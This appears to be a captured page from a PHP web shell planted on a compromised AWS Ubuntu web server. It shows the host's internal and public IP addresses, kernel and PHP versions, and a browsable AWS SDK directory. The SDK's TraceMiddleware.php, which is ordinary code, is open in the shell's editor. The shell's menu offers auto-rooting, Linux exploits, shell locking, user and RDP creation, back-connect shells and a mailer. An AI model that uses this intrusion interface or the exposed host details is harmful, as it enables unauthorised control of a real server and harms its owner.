Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.144.252.243
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
aws /
Aws /
[ HOME SHELL ]
Name
Size
Permission
Action
ACMPCA
[ DIR ]
drwxr-sr-x
AccessAnalyzer
[ DIR ]
drwxr-sr-x
Acm
[ DIR ]
drwxr-sr-x
AlexaForBusiness
[ DIR ]
drwxr-sr-x
Amplify
[ DIR ]
drwxr-sr-x
Api
[ DIR ]
drwxr-sr-x
ApiGateway
[ DIR ]
drwxr-sr-x
ApiGatewayManagementApi
[ DIR ]
drwxr-sr-x
ApiGatewayV2
[ DIR ]
drwxr-sr-x
AppConfig
[ DIR ]
drwxr-sr-x
AppMesh
[ DIR ]
drwxr-sr-x
AppSync
[ DIR ]
drwxr-sr-x
ApplicationAutoScaling
[ DIR ]
drwxr-sr-x
ApplicationDiscoveryService
[ DIR ]
drwxr-sr-x
ApplicationInsights
[ DIR ]
drwxr-sr-x
Appstream
[ DIR ]
drwxr-sr-x
Arn
[ DIR ]
drwxr-sr-x
Athena
[ DIR ]
drwxr-sr-x
AugmentedAIRuntime
[ DIR ]
drwxr-sr-x
AutoScaling
[ DIR ]
drwxr-sr-x
AutoScalingPlans
[ DIR ]
drwxr-sr-x
Backup
[ DIR ]
drwxr-sr-x
Batch
[ DIR ]
drwxr-sr-x
Budgets
[ DIR ]
drwxr-sr-x
Chime
[ DIR ]
drwxr-sr-x
ClientSideMonitoring
[ DIR ]
drwxr-sr-x
Cloud9
[ DIR ]
drwxr-sr-x
CloudDirectory
[ DIR ]
drwxr-sr-x
CloudFormation
[ DIR ]
drwxr-sr-x
CloudFront
[ DIR ]
drwxr-sr-x
CloudHSMV2
[ DIR ]
drwxr-sr-x
CloudHsm
[ DIR ]
drwxr-sr-x
CloudSearch
[ DIR ]
drwxr-sr-x
CloudSearchDomain
[ DIR ]
drwxr-sr-x
CloudTrail
[ DIR ]
drwxr-sr-x
CloudWatch
[ DIR ]
drwxr-sr-x
CloudWatchEvents
[ DIR ]
drwxr-sr-x
CloudWatchLogs
[ DIR ]
drwxr-sr-x
CodeBuild
[ DIR ]
drwxr-sr-x
CodeCommit
[ DIR ]
drwxr-sr-x
CodeDeploy
[ DIR ]
drwxr-sr-x
CodeGuruProfiler
[ DIR ]
drwxr-sr-x
CodeGuruReviewer
[ DIR ]
drwxr-sr-x
CodePipeline
[ DIR ]
drwxr-sr-x
CodeStar
[ DIR ]
drwxr-sr-x
CodeStarNotifications
[ DIR ]
drwxr-sr-x
CodeStarconnections
[ DIR ]
drwxr-sr-x
CognitoIdentity
[ DIR ]
drwxr-sr-x
CognitoIdentityProvider
[ DIR ]
drwxr-sr-x
CognitoSync
[ DIR ]
drwxr-sr-x
Comprehend
[ DIR ]
drwxr-sr-x
ComprehendMedical
[ DIR ]
drwxr-sr-x
ComputeOptimizer
[ DIR ]
drwxr-sr-x
ConfigService
[ DIR ]
drwxr-sr-x
Connect
[ DIR ]
drwxr-sr-x
ConnectParticipant
[ DIR ]
drwxr-sr-x
CostExplorer
[ DIR ]
drwxr-sr-x
CostandUsageReportService
[ DIR ]
drwxr-sr-x
Credentials
[ DIR ]
drwxr-sr-x
Crypto
[ DIR ]
drwxr-sr-x
DAX
[ DIR ]
drwxr-sr-x
DLM
[ DIR ]
drwxr-sr-x
DataExchange
[ DIR ]
drwxr-sr-x
DataPipeline
[ DIR ]
drwxr-sr-x
DataSync
[ DIR ]
drwxr-sr-x
DatabaseMigrationService
[ DIR ]
drwxr-sr-x
Detective
[ DIR ]
drwxr-sr-x
DeviceFarm
[ DIR ]
drwxr-sr-x
DirectConnect
[ DIR ]
drwxr-sr-x
DirectoryService
[ DIR ]
drwxr-sr-x
DocDB
[ DIR ]
drwxr-sr-x
DynamoDb
[ DIR ]
drwxr-sr-x
DynamoDbStreams
[ DIR ]
drwxr-sr-x
EBS
[ DIR ]
drwxr-sr-x
EC2InstanceConnect
[ DIR ]
drwxr-sr-x
EKS
[ DIR ]
drwxr-sr-x
Ec2
[ DIR ]
drwxr-sr-x
Ecr
[ DIR ]
drwxr-sr-x
Ecs
[ DIR ]
drwxr-sr-x
Efs
[ DIR ]
drwxr-sr-x
ElastiCache
[ DIR ]
drwxr-sr-x
ElasticBeanstalk
[ DIR ]
drwxr-sr-x
ElasticInference
[ DIR ]
drwxr-sr-x
ElasticLoadBalancing
[ DIR ]
drwxr-sr-x
ElasticLoadBalancingV2
[ DIR ]
drwxr-sr-x
ElasticTranscoder
[ DIR ]
drwxr-sr-x
ElasticsearchService
[ DIR ]
drwxr-sr-x
Emr
[ DIR ]
drwxr-sr-x
Endpoint
[ DIR ]
drwxr-sr-x
EndpointDiscovery
[ DIR ]
drwxr-sr-x
EventBridge
[ DIR ]
drwxr-sr-x
Exception
[ DIR ]
drwxr-sr-x
FMS
[ DIR ]
drwxr-sr-x
FSx
[ DIR ]
drwxr-sr-x
Firehose
[ DIR ]
drwxr-sr-x
ForecastQueryService
[ DIR ]
drwxr-sr-x
ForecastService
[ DIR ]
drwxr-sr-x
FraudDetector
[ DIR ]
drwxr-sr-x
GameLift
[ DIR ]
drwxr-sr-x
Glacier
[ DIR ]
drwxr-sr-x
GlobalAccelerator
[ DIR ]
drwxr-sr-x
Glue
[ DIR ]
drwxr-sr-x
Greengrass
[ DIR ]
drwxr-sr-x
GroundStation
[ DIR ]
drwxr-sr-x
GuardDuty
[ DIR ]
drwxr-sr-x
Handler
[ DIR ]
drwxr-sr-x
Health
[ DIR ]
drwxr-sr-x
Iam
[ DIR ]
drwxr-sr-x
ImportExport
[ DIR ]
drwxr-sr-x
Inspector
[ DIR ]
drwxr-sr-x
IoT1ClickDevicesService
[ DIR ]
drwxr-sr-x
IoT1ClickProjects
[ DIR ]
drwxr-sr-x
IoTAnalytics
[ DIR ]
drwxr-sr-x
IoTEvents
[ DIR ]
drwxr-sr-x
IoTEventsData
[ DIR ]
drwxr-sr-x
IoTJobsDataPlane
[ DIR ]
drwxr-sr-x
IoTSecureTunneling
[ DIR ]
drwxr-sr-x
IoTThingsGraph
[ DIR ]
drwxr-sr-x
Iot
[ DIR ]
drwxr-sr-x
IotDataPlane
[ DIR ]
drwxr-sr-x
Kafka
[ DIR ]
drwxr-sr-x
Kinesis
[ DIR ]
drwxr-sr-x
KinesisAnalytics
[ DIR ]
drwxr-sr-x
KinesisAnalyticsV2
[ DIR ]
drwxr-sr-x
KinesisVideo
[ DIR ]
drwxr-sr-x
KinesisVideoArchivedMedia
[ DIR ]
drwxr-sr-x
KinesisVideoMedia
[ DIR ]
drwxr-sr-x
KinesisVideoSignalingChannels
[ DIR ]
drwxr-sr-x
Kms
[ DIR ]
drwxr-sr-x
LakeFormation
[ DIR ]
drwxr-sr-x
Lambda
[ DIR ]
drwxr-sr-x
LexModelBuildingService
[ DIR ]
drwxr-sr-x
LexRuntimeService
[ DIR ]
drwxr-sr-x
LicenseManager
[ DIR ]
drwxr-sr-x
Lightsail
[ DIR ]
drwxr-sr-x
MQ
[ DIR ]
drwxr-sr-x
MTurk
[ DIR ]
drwxr-sr-x
MachineLearning
[ DIR ]
drwxr-sr-x
Macie
[ DIR ]
drwxr-sr-x
ManagedBlockchain
[ DIR ]
drwxr-sr-x
MarketplaceCatalog
[ DIR ]
drwxr-sr-x
MarketplaceCommerceAnalytics
[ DIR ]
drwxr-sr-x
MarketplaceEntitlementService
[ DIR ]
drwxr-sr-x
MarketplaceMetering
[ DIR ]
drwxr-sr-x
MediaConnect
[ DIR ]
drwxr-sr-x
MediaConvert
[ DIR ]
drwxr-sr-x
MediaLive
[ DIR ]
drwxr-sr-x
MediaPackage
[ DIR ]
drwxr-sr-x
MediaPackageVod
[ DIR ]
drwxr-sr-x
MediaStore
[ DIR ]
drwxr-sr-x
MediaStoreData
[ DIR ]
drwxr-sr-x
MediaTailor
[ DIR ]
drwxr-sr-x
MigrationHub
[ DIR ]
drwxr-sr-x
MigrationHubConfig
[ DIR ]
drwxr-sr-x
Mobile
[ DIR ]
drwxr-sr-x
Multipart
[ DIR ]
drwxr-sr-x
Neptune
[ DIR ]
drwxr-sr-x
NetworkManager
[ DIR ]
drwxr-sr-x
OpsWorks
[ DIR ]
drwxr-sr-x
OpsWorksCM
[ DIR ]
drwxr-sr-x
Organizations
[ DIR ]
drwxr-sr-x
Outposts
[ DIR ]
drwxr-sr-x
PI
[ DIR ]
drwxr-sr-x
Personalize
[ DIR ]
drwxr-sr-x
PersonalizeEvents
[ DIR ]
drwxr-sr-x
PersonalizeRuntime
[ DIR ]
drwxr-sr-x
Pinpoint
[ DIR ]
drwxr-sr-x
PinpointEmail
[ DIR ]
drwxr-sr-x
PinpointSMSVoice
[ DIR ]
drwxr-sr-x
Polly
[ DIR ]
drwxr-sr-x
Pricing
[ DIR ]
drwxr-sr-x
QLDB
[ DIR ]
drwxr-sr-x
QLDBSession
[ DIR ]
drwxr-sr-x
QuickSight
[ DIR ]
drwxr-sr-x
RAM
[ DIR ]
drwxr-sr-x
RDSDataService
[ DIR ]
drwxr-sr-x
Rds
[ DIR ]
drwxr-sr-x
Redshift
[ DIR ]
drwxr-sr-x
Rekognition
[ DIR ]
drwxr-sr-x
ResourceGroups
[ DIR ]
drwxr-sr-x
ResourceGroupsTaggingAPI
[ DIR ]
drwxr-sr-x
RoboMaker
[ DIR ]
drwxr-sr-x
Route53
[ DIR ]
drwxr-sr-x
Route53Domains
[ DIR ]
drwxr-sr-x
Route53Resolver
[ DIR ]
drwxr-sr-x
S3
[ DIR ]
drwxr-sr-x
S3Control
[ DIR ]
drwxr-sr-x
SSO
[ DIR ]
drwxr-sr-x
SSOOIDC
[ DIR ]
drwxr-sr-x
SageMaker
[ DIR ]
drwxr-sr-x
SageMakerRuntime
[ DIR ]
drwxr-sr-x
SavingsPlans
[ DIR ]
drwxr-sr-x
Schemas
[ DIR ]
drwxr-sr-x
SecretsManager
[ DIR ]
drwxr-sr-x
SecurityHub
[ DIR ]
drwxr-sr-x
ServerlessApplicationRepositor...
[ DIR ]
drwxr-sr-x
ServiceCatalog
[ DIR ]
drwxr-sr-x
ServiceDiscovery
[ DIR ]
drwxr-sr-x
ServiceQuotas
[ DIR ]
drwxr-sr-x
Ses
[ DIR ]
drwxr-sr-x
SesV2
[ DIR ]
drwxr-sr-x
Sfn
[ DIR ]
drwxr-sr-x
Shield
[ DIR ]
drwxr-sr-x
Signature
[ DIR ]
drwxr-sr-x
Sms
[ DIR ]
drwxr-sr-x
SnowBall
[ DIR ]
drwxr-sr-x
Sns
[ DIR ]
drwxr-sr-x
Sqs
[ DIR ]
drwxr-sr-x
Ssm
[ DIR ]
drwxr-sr-x
StorageGateway
[ DIR ]
drwxr-sr-x
Sts
[ DIR ]
drwxr-sr-x
Support
[ DIR ]
drwxr-sr-x
Swf
[ DIR ]
drwxr-sr-x
Textract
[ DIR ]
drwxr-sr-x
TranscribeService
[ DIR ]
drwxr-sr-x
Transfer
[ DIR ]
drwxr-sr-x
Translate
[ DIR ]
drwxr-sr-x
WAFV2
[ DIR ]
drwxr-sr-x
Waf
[ DIR ]
drwxr-sr-x
WafRegional
[ DIR ]
drwxr-sr-x
WorkDocs
[ DIR ]
drwxr-sr-x
WorkLink
[ DIR ]
drwxr-sr-x
WorkMail
[ DIR ]
drwxr-sr-x
WorkMailMessageFlow
[ DIR ]
drwxr-sr-x
WorkSpaces
[ DIR ]
drwxr-sr-x
XRay
[ DIR ]
drwxr-sr-x
data
[ DIR ]
drwxr-sr-x
imagebuilder
[ DIR ]
drwxr-sr-x
kendra
[ DIR ]
drwxr-sr-x
signer
[ DIR ]
drwxr-sr-x
AbstractConfigurationProvider....
4.46
KB
-rwxr-xr-x
AwsClient.php
16.58
KB
-rwxr-xr-x
AwsClientInterface.php
5.4
KB
-rwxr-xr-x
AwsClientTrait.php
2.67
KB
-rwxr-xr-x
CacheInterface.php
755
B
-rwxr-xr-x
ClientResolver.php
33.58
KB
-rwxr-xr-x
Command.php
1.39
KB
-rwxr-xr-x
CommandInterface.php
946
B
-rwxr-xr-x
CommandPool.php
5.2
KB
-rwxr-xr-x
ConfigurationProviderInterface...
246
B
-rwxr-xr-x
DoctrineCacheAdapter.php
989
B
-rwxr-xr-x
EndpointParameterMiddleware.ph...
2.73
KB
-rwxr-xr-x
HandlerList.php
13.18
KB
-rwxr-xr-x
HasDataTrait.php
1.11
KB
-rwxr-xr-x
HasMonitoringEventsTrait.php
869
B
-rwxr-xr-x
HashInterface.php
531
B
-rwxr-xr-x
HashingStream.php
1.5
KB
-rwxr-xr-x
History.php
3.81
KB
-rwxr-xr-x
IdempotencyTokenMiddleware.php
3.69
KB
-rwxr-xr-x
JsonCompiler.php
478
B
-rwxr-xr-x
LruArrayCache.php
2.16
KB
-rwxr-xr-x
Middleware.php
12.76
KB
-rwxr-xr-x
MockHandler.php
4.02
KB
-rwxr-xr-x
MonitoringEventsInterface.php
742
B
-rwxr-xr-x
MultiRegionClient.php
7.75
KB
-rwxr-xr-x
PhpHash.php
1.81
KB
-rwxr-xr-x
PresignUrlMiddleware.php
3.28
KB
-rwxr-xr-x
Psr16CacheAdapter.php
572
B
-rwxr-xr-x
PsrCacheAdapter.php
742
B
-rwxr-xr-x
ResponseContainerInterface.php
246
B
-rwxr-xr-x
Result.php
1.14
KB
-rwxr-xr-x
ResultInterface.php
1.34
KB
-rwxr-xr-x
ResultPaginator.php
5.09
KB
-rwxr-xr-x
RetryMiddleware.php
9.99
KB
-rwxr-xr-x
Sdk.php
38.45
KB
-rwxr-xr-x
StreamRequestPayloadMiddleware...
2.57
KB
-rwxr-xr-x
TraceMiddleware.php
10.72
KB
-rwxr-xr-x
Waiter.php
8.32
KB
-rwxr-xr-x
WrappedHttpHandler.php
6.96
KB
-rwxr-xr-x
functions.php
12.6
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TraceMiddleware.php
<?php namespace Aws; use Aws\Exception\AwsException; use GuzzleHttp\Promise\RejectedPromise; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\StreamInterface; /** * Traces state changes between middlewares. */ class TraceMiddleware { private $prevOutput; private $prevInput; private $config; private static $authHeaders = [ 'X-Amz-Security-Token' => '[TOKEN]', ]; private static $authStrings = [ // S3Signature '/AWSAccessKeyId=[A-Z0-9]{20}&/i' => 'AWSAccessKeyId=[KEY]&', // SignatureV4 Signature and S3Signature '/Signature=.+/i' => 'Signature=[SIGNATURE]', // SignatureV4 access key ID '/Credential=[A-Z0-9]{20}\//i' => 'Credential=[KEY]/', // S3 signatures '/AWS [A-Z0-9]{20}:.+/' => 'AWS AKI[KEY]:[SIGNATURE]', // STS Presigned URLs '/X-Amz-Security-Token=[^&]+/i' => 'X-Amz-Security-Token=[TOKEN]', // Crypto *Stream Keys '/\["key.{27,36}Stream.{9}\]=>\s+.{7}\d{2}\) "\X{16,64}"/U' => '["key":[CONTENT KEY]]', ]; /** * Configuration array can contain the following key value pairs. * * - logfn: (callable) Function that is invoked with log messages. By * default, PHP's "echo" function will be utilized. * - stream_size: (int) When the size of a stream is greater than this * number, the stream data will not be logged. Set to "0" to not log any * stream data. * - scrub_auth: (bool) Set to false to disable the scrubbing of auth data * from the logged messages. * - http: (bool) Set to false to disable the "debug" feature of lower * level HTTP adapters (e.g., verbose curl output). * - auth_strings: (array) A mapping of authentication string regular * expressions to scrubbed strings. These mappings are passed directly to * preg_replace (e.g., preg_replace($key, $value, $debugOutput) if * "scrub_auth" is set to true. * - auth_headers: (array) A mapping of header names known to contain * sensitive data to what the scrubbed value should be. The value of any * headers contained in this array will be replaced with the if * "scrub_auth" is set to true. */ public function __construct(array $config = []) { $this->config = $config + [ 'logfn' => function ($value) { echo $value; }, 'stream_size' => 524288, 'scrub_auth' => true, 'http' => true, 'auth_strings' => [], 'auth_headers' => [], ]; $this->config['auth_strings'] += self::$authStrings; $this->config['auth_headers'] += self::$authHeaders; } public function __invoke($step, $name) { $this->prevOutput = $this->prevInput = []; return function (callable $next) use ($step, $name) { return function ( CommandInterface $command, RequestInterface $request = null ) use ($next, $step, $name) { $this->createHttpDebug($command); $start = microtime(true); $this->stepInput([ 'step' => $step, 'name' => $name, 'request' => $this->requestArray($request), 'command' => $this->commandArray($command) ]); return $next($command, $request)->then( function ($value) use ($step, $name, $command, $start) { $this->flushHttpDebug($command); $this->stepOutput($start, [ 'step' => $step, 'name' => $name, 'result' => $this->resultArray($value), 'error' => null ]); return $value; }, function ($reason) use ($step, $name, $start, $command) { $this->flushHttpDebug($command); $this->stepOutput($start, [ 'step' => $step, 'name' => $name, 'result' => null, 'error' => $this->exceptionArray($reason) ]); return new RejectedPromise($reason); } ); }; }; } private function stepInput($entry) { static $keys = ['command', 'request']; $this->compareStep($this->prevInput, $entry, '-> Entering', $keys); $this->write("\n"); $this->prevInput = $entry; } private function stepOutput($start, $entry) { static $keys = ['result', 'error']; $this->compareStep($this->prevOutput, $entry, '<- Leaving', $keys); $totalTime = microtime(true) - $start; $this->write(" Inclusive step time: " . $totalTime . "\n\n"); $this->prevOutput = $entry; } private function compareStep(array $a, array $b, $title, array $keys) { $changes = []; foreach ($keys as $key) { $av = isset($a[$key]) ? $a[$key] : null; $bv = isset($b[$key]) ? $b[$key] : null; $this->compareArray($av, $bv, $key, $changes); } $str = "\n{$title} step {$b['step']}, name '{$b['name']}'"; $str .= "\n" . str_repeat('-', strlen($str) - 1) . "\n\n "; $str .= $changes ? implode("\n ", str_replace("\n", "\n ", $changes)) : 'no changes'; $this->write($str . "\n"); } private function commandArray(CommandInterface $cmd) { return [ 'instance' => spl_object_hash($cmd), 'name' => $cmd->getName(), 'params' => $cmd->toArray() ]; } private function requestArray(RequestInterface $request = null) { return !$request ? [] : array_filter([ 'instance' => spl_object_hash($request), 'method' => $request->getMethod(), 'headers' => $this->redactHeaders($request->getHeaders()), 'body' => $this->streamStr($request->getBody()), 'scheme' => $request->getUri()->getScheme(), 'port' => $request->getUri()->getPort(), 'path' => $request->getUri()->getPath(), 'query' => $request->getUri()->getQuery(), ]); } private function responseArray(ResponseInterface $response = null) { return !$response ? [] : [ 'instance' => spl_object_hash($response), 'statusCode' => $response->getStatusCode(), 'headers' => $this->redactHeaders($response->getHeaders()), 'body' => $this->streamStr($response->getBody()) ]; } private function resultArray($value) { return $value instanceof ResultInterface ? [ 'instance' => spl_object_hash($value), 'data' => $value->toArray() ] : $value; } private function exceptionArray($e) { if (!($e instanceof \Exception)) { return $e; } $result = [ 'instance' => spl_object_hash($e), 'class' => get_class($e), 'message' => $e->getMessage(), 'file' => $e->getFile(), 'line' => $e->getLine(), 'trace' => $e->getTraceAsString(), ]; if ($e instanceof AwsException) { $result += [ 'type' => $e->getAwsErrorType(), 'code' => $e->getAwsErrorCode(), 'requestId' => $e->getAwsRequestId(), 'statusCode' => $e->getStatusCode(), 'result' => $this->resultArray($e->getResult()), 'request' => $this->requestArray($e->getRequest()), 'response' => $this->responseArray($e->getResponse()), ]; } return $result; } private function compareArray($a, $b, $path, array &$diff) { if ($a === $b) { return; } if (is_array($a)) { $b = (array) $b; $keys = array_unique(array_merge(array_keys($a), array_keys($b))); foreach ($keys as $k) { if (!array_key_exists($k, $a)) { $this->compareArray(null, $b[$k], "{$path}.{$k}", $diff); } elseif (!array_key_exists($k, $b)) { $this->compareArray($a[$k], null, "{$path}.{$k}", $diff); } else { $this->compareArray($a[$k], $b[$k], "{$path}.{$k}", $diff); } } } elseif ($a !== null && $b === null) { $diff[] = "{$path} was unset"; } elseif ($a === null && $b !== null) { $diff[] = sprintf("%s was set to %s", $path, $this->str($b)); } else { $diff[] = sprintf("%s changed from %s to %s", $path, $this->str($a), $this->str($b)); } } private function str($value) { if (is_scalar($value)) { return (string) $value; } if ($value instanceof \Exception) { $value = $this->exceptionArray($value); } ob_start(); var_dump($value); return ob_get_clean(); } private function streamStr(StreamInterface $body) { return $body->getSize() < $this->config['stream_size'] ? (string) $body : 'stream(size=' . $body->getSize() . ')'; } private function createHttpDebug(CommandInterface $command) { if ($this->config['http'] && !isset($command['@http']['debug'])) { $command['@http']['debug'] = fopen('php://temp', 'w+'); } } private function flushHttpDebug(CommandInterface $command) { if ($res = $command['@http']['debug']) { rewind($res); $this->write(stream_get_contents($res)); fclose($res); $command['@http']['debug'] = null; } } private function write($value) { if ($this->config['scrub_auth']) { foreach ($this->config['auth_strings'] as $pattern => $replacement) { $value = preg_replace_callback( $pattern, function ($matches) use ($replacement) { return $replacement; }, $value ); } } call_user_func($this->config['logfn'], $value); } private function redactHeaders(array $headers) { if ($this->config['scrub_auth']) { $headers = $this->config['auth_headers'] + $headers; } return $headers; } }
Close